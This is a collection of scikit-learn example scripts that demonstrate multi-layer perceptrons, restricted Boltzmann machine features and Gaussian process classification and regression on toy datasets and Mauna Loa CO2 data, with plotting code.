                    algorithm='sgd', verbose=10, tol=1e-4, random_state=1,
                    learning_rate_init=.1)

mlp.fit(X_train, y_train)
print("Training set score: %f" % mlp.score(X_train, y_train))
print("Test set score: %f" % mlp.score(X_test, y_test))

fig, axes = plt.subplots(4, 4)
# use global min / max to ensure all weights are shown on the same scale
vmin, vmax = mlp.coefs_[0].min(), mlp.coefs_[0].max()
for coef, ax in zip(mlp.coefs_[0].T, axes.ravel()):
    ax.matshow(coef.reshape(28, 28), cmap=plt.cm.gray, vmin=.5 * vmin,
               vmax=.5 * vmax)
    ax.set_xticks(())
    ax.set_yticks(())

plt.show()






"""
================================================
Varying regularization in Multi-layer Perceptron
================================================

A comparison of different values for regularization parameter 'alpha' on
synthetic datasets. The plot shows that different alphas yield different
decision functions.

Alpha is a parameter for regularization term, aka penalty term, that combats
overfitting by constraining the size of the weights. Increasing alpha may fix
high variance (a sign of overfitting) by encouraging smaller weights, resulting
in a decision boundary plot that appears with lesser curvatures.
Similarly, decreasing alpha may fix high bias (a sign of underfitting) by
encouraging larger weights, potentially resulting in a more complicated
decision boundary.
"""
print(__doc__)


# Author: Issam H. Laradji
# License: BSD 3 clause

import numpy as np
from matplotlib import pyplot as plt
from matplotlib.colors import ListedColormap
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import make_moons, make_circles, make_classification
from sklearn.neural_network import MLPClassifier

h = .02  # step size in the mesh

alphas = np.logspace(-5, 3, 5)
names = []
for i in alphas:
    names.append('alpha ' + str(i))

classifiers = []
for i in alphas:
    classifiers.append(MLPClassifier(alpha=i, random_state=1))

X, y = make_classification(n_features=2, n_redundant=0, n_informative=2,
                           random_state=0, n_clusters_per_class=1)
rng = np.random.RandomState(2)
X += 2 * rng.uniform(size=X.shape)
linearly_separable = (X, y)

datasets = [make_moons(noise=0.3, random_state=0),
            make_circles(noise=0.2, factor=0.5, random_state=1),
            linearly_separable]

figure = plt.figure(figsize=(17, 9))
i = 1
# iterate over datasets
for X, y in datasets:
    # preprocess dataset, split into training and test part
    X = StandardScaler().fit_transform(X)
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.4)

    x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5
    y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))

    # just plot the dataset first
    cm = plt.cm.RdBu
    cm_bright = ListedColormap(['#FF0000', '#0000FF'])
    ax = plt.subplot(len(datasets), len(classifiers) + 1, i)
    # Plot the training points
    ax.scatter(X_train[:, 0], X_train[:, 1], c=y_train, cmap=cm_bright)
    # and testing points
    ax.scatter(X_test[:, 0], X_test[:, 1], c=y_test, cmap=cm_bright, alpha=0.6)
    ax.set_xlim(xx.min(), xx.max())
    ax.set_ylim(yy.min(), yy.max())
    ax.set_xticks(())
    ax.set_yticks(())
    i += 1

    # iterate over classifiers
    for name, clf in zip(names, classifiers):
        ax = plt.subplot(len(datasets), len(classifiers) + 1, i)
        clf.fit(X_train, y_train)
        score = clf.score(X_test, y_test)

        # Plot the decision boundary. For that, we will assign a color to each
        # point in the mesh [x_min, x_max]x[y_min, y_max].
        if hasattr(clf, "decision_function"):
            Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
        else:
            Z = clf.predict_proba(np.c_[xx.ravel(), yy.ravel()])[:, 1]

        # Put the result into a color plot
        Z = Z.reshape(xx.shape)
        ax.contourf(xx, yy, Z, cmap=cm, alpha=.8)

        # Plot also the training points
        ax.scatter(X_train[:, 0], X_train[:, 1], c=y_train, cmap=cm_bright)
        # and testing points
        ax.scatter(X_test[:, 0], X_test[:, 1], c=y_test, cmap=cm_bright,
                   alpha=0.6)

        ax.set_xlim(xx.min(), xx.max())
        ax.set_ylim(yy.min(), yy.max())
        ax.set_xticks(())
        ax.set_yticks(())
        ax.set_title(name)
        ax.text(xx.max() - .3, yy.min() + .3, ('%.2f' % score).lstrip('0'),
                size=15, horizontalalignment='right')
        i += 1

figure.subplots_adjust(left=.02, right=.98)
plt.show()






"""
========================================================
Compare Stochastic learning strategies for MLPClassifier
========================================================

This example visualizes some training loss curves for different stochastic
learning strategies, including SGD and Adam. Because of time-constraints, we
use several small datasets, for which L-BFGS might be more suitable. The
general trend shown in these examples seems to carry over to larger datasets,
however.
"""

print(__doc__)
import matplotlib.pyplot as plt
from sklearn.neural_network import MLPClassifier
from sklearn.preprocessing import MinMaxScaler
from sklearn import datasets

# different learning rate schedules and momentum parameters
params = [{'algorithm': 'sgd', 'learning_rate': 'constant', 'momentum': 0,
           'learning_rate_init': 0.2},
          {'algorithm': 'sgd', 'learning_rate': 'constant', 'momentum': .9,
           'nesterovs_momentum': False, 'learning_rate_init': 0.2},
          {'algorithm': 'sgd', 'learning_rate': 'constant', 'momentum': .9,
           'nesterovs_momentum': True, 'learning_rate_init': 0.2},
          {'algorithm': 'sgd', 'learning_rate': 'invscaling', 'momentum': 0,
           'learning_rate_init': 0.2},
          {'algorithm': 'sgd', 'learning_rate': 'invscaling', 'momentum': .9,
           'nesterovs_momentum': True, 'learning_rate_init': 0.2},
          {'algorithm': 'sgd', 'learning_rate': 'invscaling', 'momentum': .9,
           'nesterovs_momentum': False, 'learning_rate_init': 0.2},
          {'algorithm': 'adam'}]

labels = ["constant learning-rate", "constant with momentum",
          "constant with Nesterov's momentum",
          "inv-scaling learning-rate", "inv-scaling with momentum",
          "inv-scaling with Nesterov's momentum", "adam"]

plot_args = [{'c': 'red', 'linestyle': '-'},
             {'c': 'green', 'linestyle': '-'},
             {'c': 'blue', 'linestyle': '-'},
             {'c': 'red', 'linestyle': '--'},
             {'c': 'green', 'linestyle': '--'},
             {'c': 'blue', 'linestyle': '--'},
             {'c': 'black', 'linestyle': '-'}]


def plot_on_dataset(X, y, ax, name):
    # for each dataset, plot learning for each learning strategy
    print("\nlearning on dataset %s" % name)
    ax.set_title(name)
    X = MinMaxScaler().fit_transform(X)
    mlps = []
    if name == "digits":
        # digits is larger but converges fairly quickly
        max_iter = 15
    else:
        max_iter = 400

    for label, param in zip(labels, params):
        print("training: %s" % label)
        mlp = MLPClassifier(verbose=0, random_state=0,
                            max_iter=max_iter, **param)
        mlp.fit(X, y)
        mlps.append(mlp)
        print("Training set score: %f" % mlp.score(X, y))
        print("Training set loss: %f" % mlp.loss_)
    for mlp, label, args in zip(mlps, labels, plot_args):
            ax.plot(mlp.loss_curve_, label=label, **args)


fig, axes = plt.subplots(2, 2, figsize=(15, 10))
# load / generate some toy datasets
iris = datasets.load_iris()
digits = datasets.load_digits()
data_sets = [(iris.data, iris.target),
             (digits.data, digits.target),
             datasets.make_circles(noise=0.2, factor=0.5, random_state=1),
             datasets.make_moons(noise=0.3, random_state=0)]

for ax, data, name in zip(axes.ravel(), data_sets, ['iris', 'digits',
                                                    'circles', 'moons']):
    plot_on_dataset(*data, ax=ax, name=name)

fig.legend(ax.get_lines(), labels=labels, ncol=3, loc="upper center")
plt.show()






"""
==============================================================
Restricted Boltzmann Machine features for digit classification
==============================================================

For greyscale image data where pixel values can be interpreted as degrees of
blackness on a white background, like handwritten digit recognition, the
Bernoulli Restricted Boltzmann machine model (:class:`BernoulliRBM
<sklearn.neural_network.BernoulliRBM>`) can perform effective non-linear
feature extraction.

In order to learn good latent representations from a small dataset, we
artificially generate more labeled data by perturbing the training data with
linear shifts of 1 pixel in each direction.

This example shows how to build a classification pipeline with a BernoulliRBM
feature extractor and a :class:`LogisticRegression
<sklearn.linear_model.LogisticRegression>` classifier. The hyperparameters
of the entire model (learning rate, hidden layer size, regularization)
were optimized by grid search, but the search is not reproduced here because
of runtime constraints.

Logistic regression on raw pixel values is presented for comparison. The
example shows that the features extracted by the BernoulliRBM help improve the
classification accuracy.
"""

from __future__ import print_function

print(__doc__)

# Authors: Yann N. Dauphin, Vlad Niculae, Gabriel Synnaeve
# License: BSD

import numpy as np
import matplotlib.pyplot as plt

from scipy.ndimage import convolve
from sklearn import linear_model, datasets, metrics
from sklearn.model_selection import train_test_split
from sklearn.neural_network import BernoulliRBM
from sklearn.pipeline import Pipeline


###############################################################################
# Setting up

def nudge_dataset(X, Y):
    """
    This produces a dataset 5 times bigger than the original one,
    by moving the 8x8 images in X around by 1px to left, right, down, up
    """
    direction_vectors = [
        [[0, 1, 0],
         [0, 0, 0],
         [0, 0, 0]],

        [[0, 0, 0],
         [1, 0, 0],
         [0, 0, 0]],

        [[0, 0, 0],
         [0, 0, 1],
         [0, 0, 0]],

        [[0, 0, 0],
         [0, 0, 0],
         [0, 1, 0]]]

    shift = lambda x, w: convolve(x.reshape((8, 8)), mode='constant',
                                  weights=w).ravel()
    X = np.concatenate([X] +
                       [np.apply_along_axis(shift, 1, X, vector)
                        for vector in direction_vectors])
    Y = np.concatenate([Y for _ in range(5)], axis=0)
    return X, Y

# Load Data
digits = datasets.load_digits()
X = np.asarray(digits.data, 'float32')
X, Y = nudge_dataset(X, digits.target)
X = (X - np.min(X, 0)) / (np.max(X, 0) + 0.0001)  # 0-1 scaling

X_train, X_test, Y_train, Y_test = train_test_split(X, Y,
                                                    test_size=0.2,
                                                    random_state=0)

# Models we will use
logistic = linear_model.LogisticRegression()
rbm = BernoulliRBM(random_state=0, verbose=True)

classifier = Pipeline(steps=[('rbm', rbm), ('logistic', logistic)])

###############################################################################
# Training

# Hyper-parameters. These were set by cross-validation,
# using a GridSearchCV. Here we are not performing cross-validation to
# save time.
rbm.learning_rate = 0.06
rbm.n_iter = 20
# More components tend to give better prediction performance, but larger
# fitting time
rbm.n_components = 100
logistic.C = 6000.0

# Training RBM-Logistic Pipeline
classifier.fit(X_train, Y_train)

# Training Logistic regression
logistic_classifier = linear_model.LogisticRegression(C=100.0)
logistic_classifier.fit(X_train, Y_train)

###############################################################################
# Evaluation

print()
print("Logistic regression using RBM features:\n%s\n" % (
    metrics.classification_report(
        Y_test,
        classifier.predict(X_test))))

print("Logistic regression using raw pixel features:\n%s\n" % (
    metrics.classification_report(
        Y_test,
        logistic_classifier.predict(X_test))))

###############################################################################
# Plotting

plt.figure(figsize=(4.2, 4))
for i, comp in enumerate(rbm.components_):
    plt.subplot(10, 10, i + 1)
    plt.imshow(comp.reshape((8, 8)), cmap=plt.cm.gray_r,
               interpolation='nearest')
    plt.xticks(())
    plt.yticks(())
plt.suptitle('100 components extracted by RBM', fontsize=16)
plt.subplots_adjust(0.08, 0.02, 0.92, 0.85, 0.08, 0.23)

plt.show()






"""
=====================================================
Gaussian process classification (GPC) on iris dataset
=====================================================

This example illustrates the predicted probability of GPC for an isotropic
and anisotropic RBF kernel on a two-dimensional version for the iris-dataset.
The anisotropic RBF kernel obtains slightly higher log-marginal-likelihood by
assigning different length-scales to the two feature dimensions.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features.
y = np.array(iris.target, dtype=int)

h = .02  # step size in the mesh

kernel = 1.0 * RBF([1.0])
gpc_rbf_isotropic = GaussianProcessClassifier(kernel=kernel).fit(X, y)
kernel = 1.0 * RBF([1.0, 1.0])
gpc_rbf_anisotropic = GaussianProcessClassifier(kernel=kernel).fit(X, y)

# create a mesh to plot in
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                     np.arange(y_min, y_max, h))

titles = ["Isotropic RBF", "Anisotropic RBF"]
plt.figure(figsize=(10, 5))
for i, clf in enumerate((gpc_rbf_isotropic, gpc_rbf_anisotropic)):
    # Plot the predicted probabilities. For that, we will assign a color to
    # each point in the mesh [x_min, m_max]x[y_min, y_max].
    plt.subplot(1, 2, i + 1)

    Z = clf.predict_proba(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape((xx.shape[0], xx.shape[1], 3))
    plt.imshow(Z, extent=(x_min, x_max, y_min, y_max), origin="lower")

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=np.array(["r", "g", "b"])[y])
    plt.xlabel('Sepal length')
    plt.ylabel('Sepal width')
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
    plt.xticks(())
    plt.yticks(())
    plt.title("%s, LML: %.3f" %
              (titles[i], clf.log_marginal_likelihood(clf.kernel_.theta)))

plt.tight_layout()
plt.show()






"""
========================================================
Gaussian process regression (GPR) on Mauna Loa CO2 data.
========================================================

This example is based on Section 5.4.3 of "Gaussian Processes for Machine
Learning" [RW2006]. It illustrates an example of complex kernel engineering and
hyperparameter optimization using gradient ascent on the
log-marginal-likelihood. The data consists of the monthly average atmospheric
CO2 concentrations (in parts per million by volume (ppmv)) collected at the
Mauna Loa Observatory in Hawaii, between 1958 and 1997. The objective is to
model the CO2 concentration as a function of the time t.

The kernel is composed of several terms that are responsible for explaining
different properties of the signal:

- a long term, smooth rising trend is to be explained by an RBF kernel. The
  RBF kernel with a large length-scale enforces this component to be smooth;
  it is not enforced that the trend is rising which leaves this choice to the
  GP. The specific length-scale and the amplitude are free hyperparameters.

- a seasonal component, which is to be explained by the periodic
  ExpSineSquared kernel with a fixed periodicity of 1 year. The length-scale
  of this periodic component, controlling its smoothness, is a free parameter.
  In order to allow decaying away from exact periodicity, the product with an
  RBF kernel is taken. The length-scale of this RBF component controls the
  decay time and is a further free parameter.

- smaller, medium term irregularities are to be explained by a
  RationalQuadratic kernel component, whose length-scale and alpha parameter,
  which determines the diffuseness of the length-scales, are to be determined.
  According to [RW2006], these irregularities can better be explained by
  a RationalQuadratic than an RBF kernel component, probably because it can
  accommodate several length-scales.

- a "noise" term, consisting of an RBF kernel contribution, which shall
  explain the correlated noise components such as local weather phenomena,
  and a WhiteKernel contribution for the white noise. The relative amplitudes
  and the RBF's length scale are further free parameters.

Maximizing the log-marginal-likelihood after subtracting the target's mean
yields the following kernel with an LML of -83.214::

   34.4**2 * RBF(length_scale=41.8)
   + 3.27**2 * RBF(length_scale=180) * ExpSineSquared(length_scale=1.44,
                                                      periodicity=1)
   + 0.446**2 * RationalQuadratic(alpha=17.7, length_scale=0.957)
   + 0.197**2 * RBF(length_scale=0.138) + WhiteKernel(noise_level=0.0336)

Thus, most of the target signal (34.4ppm) is explained by a long-term rising
trend (length-scale 41.8 years). The periodic component has an amplitude of
3.27ppm, a decay time of 180 years and a length-scale of 1.44. The long decay
time indicates that we have a locally very close to periodic seasonal
component. The correlated noise has an amplitude of 0.197ppm with a length
scale of 0.138 years and a white-noise contribution of 0.197ppm. Thus, the
overall noise level is very small, indicating that the data can be very well
explained by the model. The figure shows also that the model makes very
confident predictions until around 2015.
"""
print(__doc__)

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import numpy as np

from matplotlib import pyplot as plt

from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels \
    import RBF, WhiteKernel, RationalQuadratic, ExpSineSquared
from sklearn.datasets import fetch_mldata

data = fetch_mldata('mauna-loa-atmospheric-co2').data
X = data[:, [1]]
y = data[:, 0]

# Kernel with parameters given in GPML book
k1 = 66.0**2 * RBF(length_scale=67.0)  # long term smooth rising trend
k2 = 2.4**2 * RBF(length_scale=90.0) \
    * ExpSineSquared(length_scale=1.3, periodicity=1.0)  # seasonal component
# medium term irregularity
k3 = 0.66**2 \
    * RationalQuadratic(length_scale=1.2, alpha=0.78)
k4 = 0.18**2 * RBF(length_scale=0.134) \
    + WhiteKernel(noise_level=0.19**2)  # noise terms
kernel_gpml = k1 + k2 + k3 + k4

gp = GaussianProcessRegressor(kernel=kernel_gpml, alpha=0,
                              optimizer=None, normalize_y=True)
gp.fit(X, y)

print("GPML kernel: %s" % gp.kernel_)
print("Log-marginal-likelihood: %.3f"
      % gp.log_marginal_likelihood(gp.kernel_.theta))

# Kernel with optimized parameters
k1 = 50.0**2 * RBF(length_scale=50.0)  # long term smooth rising trend
k2 = 2.0**2 * RBF(length_scale=100.0) \
    * ExpSineSquared(length_scale=1.0, periodicity=1.0,
                     periodicity_bounds="fixed")  # seasonal component
# medium term irregularities
k3 = 0.5**2 * RationalQuadratic(length_scale=1.0, alpha=1.0)
k4 = 0.1**2 * RBF(length_scale=0.1) \
    + WhiteKernel(noise_level=0.1**2,
                  noise_level_bounds=(1e-3, np.inf))  # noise terms
kernel = k1 + k2 + k3 + k4

gp = GaussianProcessRegressor(kernel=kernel, alpha=0,
                              normalize_y=True)
gp.fit(X, y)

print("\nLearned kernel: %s" % gp.kernel_)
print("Log-marginal-likelihood: %.3f"
      % gp.log_marginal_likelihood(gp.kernel_.theta))

X_ = np.linspace(X.min(), X.max() + 30, 1000)[:, np.newaxis]
y_pred, y_std = gp.predict(X_, return_std=True)

# Illustration
plt.scatter(X, y, c='k')
plt.plot(X_, y_pred)
plt.fill_between(X_[:, 0], y_pred - y_std, y_pred + y_std,
                 alpha=0.5, color='k')
plt.xlim(X_.min(), X_.max())
plt.xlabel("Year")
plt.ylabel(r"CO$_2$ in ppm")
plt.title(r"Atmospheric CO$_2$ concentration at Mauna Loa")
plt.tight_layout()
plt.show()






"""
==========================================================
Comparison of kernel ridge and Gaussian process regression
==========================================================

Both kernel ridge regression (KRR) and Gaussian process regression (GPR) learn
a target function by employing internally the "kernel trick". KRR learns a
linear function in the space induced by the respective kernel which corresponds
to a non-linear function in the original space. The linear function in the
kernel space is chosen based on the mean-squared error loss with
ridge regularization. GPR uses the kernel to define the covariance of
a prior distribution over the target functions and uses the observed training
data to define a likelihood function. Based on Bayes theorem, a (Gaussian)
posterior distribution over target functions is defined, whose mean is used
for prediction.

A major difference is that GPR can choose the kernel's hyperparameters based
on gradient-ascent on the marginal likelihood function while KRR needs to
perform a grid search on a cross-validated loss function (mean-squared error
loss). A further difference is that GPR learns a generative, probabilistic
model of the target function and can thus provide meaningful confidence
intervals and posterior samples along with the predictions while KRR only
provides predictions.

This example illustrates both methods on an artificial dataset, which
consists of a sinusoidal target function and strong noise. The figure compares
the learned model of KRR and GPR based on a ExpSineSquared kernel, which is
suited for learning periodic functions. The kernel's hyperparameters control
the smoothness (l) and periodicity of the kernel (p). Moreover, the noise level
of the data is learned explicitly by GPR by an additional WhiteKernel component
in the kernel and by the regularization parameter alpha of KRR.

The figure shows that both methods learn reasonable models of the target
function. GPR correctly identifies the periodicity of the function to be
roughly 2*pi (6.28), while KRR chooses the doubled periodicity 4*pi. Besides
that, GPR provides reasonable confidence bounds on the prediction which are not
available for KRR. A major difference between the two methods is the time
required for fitting and predicting: while fitting KRR is fast in principle,
the grid-search for hyperparameter optimization scales exponentially with the
number of hyperparameters ("curse of dimensionality"). The gradient-based
optimization of the parameters in GPR does not suffer from this exponential
scaling and is thus considerable faster on this example with 3-dimensional
hyperparameter space. The time for predicting is similar; however, generating
the variance of the predictive distribution of GPR takes considerable longer
than just predicting the mean.
"""
print(__doc__)

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause


import time

import numpy as np

import matplotlib.pyplot as plt

from sklearn.kernel_ridge import KernelRidge
from sklearn.model_selection import GridSearchCV
from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels import WhiteKernel, ExpSineSquared

rng = np.random.RandomState(0)

# Generate sample data
X = 15 * rng.rand(100, 1)
y = np.sin(X).ravel()
y += 3 * (0.5 - rng.rand(X.shape[0]))  # add noise

# Fit KernelRidge with parameter selection based on 5-fold cross validation
param_grid = {"alpha": [1e0, 1e-1, 1e-2, 1e-3],
              "kernel": [ExpSineSquared(l, p)
                         for l in np.logspace(-2, 2, 10)
                         for p in np.logspace(0, 2, 10)]}
kr = GridSearchCV(KernelRidge(), cv=5, param_grid=param_grid)
stime = time.time()
kr.fit(X, y)
print("Time for KRR fitting: %.3f" % (time.time() - stime))

gp_kernel = ExpSineSquared(1.0, 5.0, periodicity_bounds=(1e-2, 1e1)) \
    + WhiteKernel(1e-1)
gpr = GaussianProcessRegressor(kernel=gp_kernel)
stime = time.time()
gpr.fit(X, y)
print("Time for GPR fitting: %.3f" % (time.time() - stime))

# Predict using kernel ridge
X_plot = np.linspace(0, 20, 10000)[:, None]
stime = time.time()
y_kr = kr.predict(X_plot)
print("Time for KRR prediction: %.3f" % (time.time() - stime))

# Predict using kernel ridge
stime = time.time()
y_gpr = gpr.predict(X_plot, return_std=False)
print("Time for GPR prediction: %.3f" % (time.time() - stime))

stime = time.time()
y_gpr, y_std = gpr.predict(X_plot, return_std=True)
print("Time for GPR prediction with standard-deviation: %.3f"
      % (time.time() - stime))

# Plot results
plt.figure(figsize=(10, 5))
lw = 2
plt.scatter(X, y, c='k', label='data')
plt.plot(X_plot, np.sin(X_plot), color='navy', lw=lw, label='True')
plt.plot(X_plot, y_kr, color='turquoise', lw=lw,
         label='KRR (%s)' % kr.best_params_)
plt.plot(X_plot, y_gpr, color='darkorange', lw=lw,
         label='GPR (%s)' % gpr.kernel_)
plt.fill_between(X_plot[:, 0], y_gpr - y_std, y_gpr + y_std, color='darkorange',
                 alpha=0.2)
plt.xlabel('data')
plt.ylabel('target')
plt.xlim(0, 20)
plt.ylim(-4, 4)
plt.title('GPR versus Kernel Ridge')
plt.legend(loc="best",  scatterpoints=1, prop={'size': 8})
plt.show()






"""
========================================================================
Illustration of Gaussian process classification (GPC) on the XOR dataset
========================================================================

This example illustrates GPC on XOR data. Compared are a stationary, isotropic
kernel (RBF) and a non-stationary kernel (DotProduct). On this particular
dataset, the DotProduct kernel obtains considerably better results because the
class-boundaries are linear and coincide with the coordinate axes. In general,
stationary kernels often obtain better results.
"""
print(__doc__)

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF, DotProduct


xx, yy = np.meshgrid(np.linspace(-3, 3, 50),
                     np.linspace(-3, 3, 50))
rng = np.random.RandomState(0)
X = rng.randn(200, 2)
Y = np.logical_xor(X[:, 0] > 0, X[:, 1] > 0)

# fit the model
plt.figure(figsize=(10, 5))
kernels = [1.0 * RBF(length_scale=1.0), 1.0 * DotProduct(sigma_0=1.0)**2]
for i, kernel in enumerate(kernels):
    clf = GaussianProcessClassifier(kernel=kernel, warm_start=True).fit(X, Y)

    # plot the decision function for each datapoint on the grid
    Z = clf.predict_proba(np.vstack((xx.ravel(), yy.ravel())).T)[:, 1]
    Z = Z.reshape(xx.shape)

    plt.subplot(1, 2, i + 1)
    image = plt.imshow(Z, interpolation='nearest',
                       extent=(xx.min(), xx.max(), yy.min(), yy.max()),
                       aspect='auto', origin='lower', cmap=plt.cm.PuOr_r)
    contours = plt.contour(xx, yy, Z, levels=[0], linewidths=2,
                           linetypes='--')
    plt.scatter(X[:, 0], X[:, 1], s=30, c=Y, cmap=plt.cm.Paired)
    plt.xticks(())
    plt.yticks(())
    plt.axis([-3, 3, -3, 3])
    plt.colorbar(image)
    plt.title("%s\n Log-Marginal-Likelihood:%.3f"
              % (clf.kernel_, clf.log_marginal_likelihood(clf.kernel_.theta)),
              fontsize=12)

plt.tight_layout()
plt.show()






"""
==========================================================================
Illustration of prior and posterior Gaussian process for different kernels
==========================================================================

This example illustrates the prior and posterior of a GPR with different
kernels. Mean, standard deviation, and 10 samples are shown for both prior
and posterior.
"""
print(__doc__)

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import numpy as np

from matplotlib import pyplot as plt

from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels import (RBF, Matern, RationalQuadratic,
                                              ExpSineSquared, DotProduct,
                                              ConstantKernel)


kernels = [1.0 * RBF(length_scale=1.0, length_scale_bounds=(1e-1, 10.0)),
           1.0 * RationalQuadratic(length_scale=1.0, alpha=0.1),
           1.0 * ExpSineSquared(length_scale=1.0, periodicity=3.0,
                                length_scale_bounds=(0.1, 10.0),
                                periodicity_bounds=(1.0, 10.0)),
           ConstantKernel(0.1, (0.01, 10.0))
               * (DotProduct(sigma_0=1.0, sigma_0_bounds=(0.0, 10.0)) ** 2),
           1.0 * Matern(length_scale=1.0, length_scale_bounds=(1e-1, 10.0),
                        nu=1.5)]

for fig_index, kernel in enumerate(kernels):
    # Specify Gaussian Process
    gp = GaussianProcessRegressor(kernel=kernel)

    # Plot prior
    plt.figure(fig_index, figsize=(8, 8))
    plt.subplot(2, 1, 1)
    X_ = np.linspace(0, 5, 100)
    y_mean, y_std = gp.predict(X_[:, np.newaxis], return_std=True)
    plt.plot(X_, y_mean, 'k', lw=3, zorder=9)
    plt.fill_between(X_, y_mean - y_std, y_mean + y_std,
                     alpha=0.5, color='k')
    y_samples = gp.sample_y(X_[:, np.newaxis], 10)
    plt.plot(X_, y_samples, lw=1)
    plt.xlim(0, 5)
    plt.ylim(-3, 3)
    plt.title("Prior (kernel:  %s)" % kernel, fontsize=12)

    # Generate data and fit GP
    rng = np.random.RandomState(4)
    X = rng.uniform(0, 5, 10)[:, np.newaxis]
    y = np.sin((X[:, 0] - 2.5) ** 2)
    gp.fit(X, y)

    # Plot posterior
    plt.subplot(2, 1, 2)
    X_ = np.linspace(0, 5, 100)
    y_mean, y_std = gp.predict(X_[:, np.newaxis], return_std=True)
    plt.plot(X_, y_mean, 'k', lw=3, zorder=9)
    plt.fill_between(X_, y_mean - y_std, y_mean + y_std,
                     alpha=0.5, color='k')

    y_samples = gp.sample_y(X_[:, np.newaxis], 10)
    plt.plot(X_, y_samples, lw=1)
    plt.scatter(X[:, 0], y, c='r', s=50, zorder=10)
    plt.xlim(0, 5)
    plt.ylim(-3, 3)
    plt.title("Posterior (kernel: %s)\n Log-Likelihood: %.3f"
              % (gp.kernel_, gp.log_marginal_likelihood(gp.kernel_.theta)),
              fontsize=12)
    plt.tight_layout()

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=================================================================
Iso-probability lines for Gaussian Processes classification (GPC)
=================================================================

A two-dimensional classification example showing iso-probability lines for
the predicted probabilities.
"""
print(__doc__)

# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
# Adapted to GaussianProcessClassifier:
#         Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause

import numpy as np

from matplotlib import pyplot as plt
from matplotlib import cm

from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import DotProduct, ConstantKernel as C

# A few constants
lim = 8


def g(x):
    """The function to predict (classification will then consist in predicting
    whether g(x) <= 0 or not)"""
    return 5. - x[:, 1] - .5 * x[:, 0] ** 2.

# Design of experiments
X = np.array([[-4.61611719, -6.00099547],
              [4.10469096, 5.32782448],
              [0.00000000, -0.50000000],
              [-6.17289014, -4.6984743],
              [1.3109306, -6.93271427],
              [-5.03823144, 3.10584743],
              [-2.87600388, 6.74310541],
              [5.21301203, 4.26386883]])

# Observations
y = np.array(g(X) > 0, dtype=int)

# Instanciate and fit Gaussian Process Model
kernel = C(0.1, (1e-5, np.inf)) * DotProduct(sigma_0=0.1) ** 2
gp = GaussianProcessClassifier(kernel=kernel)
gp.fit(X, y)
print("Learned kernel: %s " % gp.kernel_)

# Evaluate real function and the predicted probability
res = 50
x1, x2 = np.meshgrid(np.linspace(- lim, lim, res),
                     np.linspace(- lim, lim, res))
xx = np.vstack([x1.reshape(x1.size), x2.reshape(x2.size)]).T

y_true = g(xx)
y_prob = gp.predict_proba(xx)[:, 1]
y_true = y_true.reshape((res, res))
y_prob = y_prob.reshape((res, res))

# Plot the probabilistic classification iso-values
fig = plt.figure(1)
ax = fig.gca()
ax.axes.set_aspect('equal')
plt.xticks([])
plt.yticks([])
ax.set_xticklabels([])
ax.set_yticklabels([])
plt.xlabel('$x_1$')
plt.ylabel('$x_2$')

cax = plt.imshow(y_prob, cmap=cm.gray_r, alpha=0.8,
                 extent=(-lim, lim, -lim, lim))
norm = plt.matplotlib.colors.Normalize(vmin=0., vmax=0.9)
cb = plt.colorbar(cax, ticks=[0., 0.2, 0.4, 0.6, 0.8, 1.], norm=norm)
cb.set_label('${\\rm \mathbb{P}}\left[\widehat{G}(\mathbf{x}) \leq 0\\right]$')
plt.clim(0, 1)

plt.plot(X[y <= 0, 0], X[y <= 0, 1], 'r.', markersize=12)

plt.plot(X[y > 0, 0], X[y > 0, 1], 'b.', markersize=12)

cs = plt.contour(x1, x2, y_true, [0.], colors='k', linestyles='dashdot')

cs = plt.contour(x1, x2, y_prob, [0.666], colors='b',
                 linestyles='solid')
plt.clabel(cs, fontsize=11)

cs = plt.contour(x1, x2, y_prob, [0.5], colors='k',
                 linestyles='dashed')
plt.clabel(cs, fontsize=11)

cs = plt.contour(x1, x2, y_prob, [0.334], colors='r',
                 linestyles='solid')
plt.clabel(cs, fontsize=11)

plt.show()






"""
=========================================================
Gaussian Processes regression: basic introductory example
=========================================================

A simple one-dimensional regression example computed in two different ways:

1. A noise-free case
2. A noisy case with known noise-level per datapoint

In both cases, the kernel's parameters are estimated using the maximum
likelihood principle.

The figures illustrate the interpolating property of the Gaussian Process
model as well as its probabilistic nature in the form of a pointwise 95%
confidence interval.

Note that the parameter ``alpha`` is applied as a Tikhonov
regularization of the assumed covariance between the training points.
"""
print(__doc__)

# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
#         Jake Vanderplas <vanderplas@astro.washington.edu>
#         Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>s
# License: BSD 3 clause

import numpy as np
from matplotlib import pyplot as plt

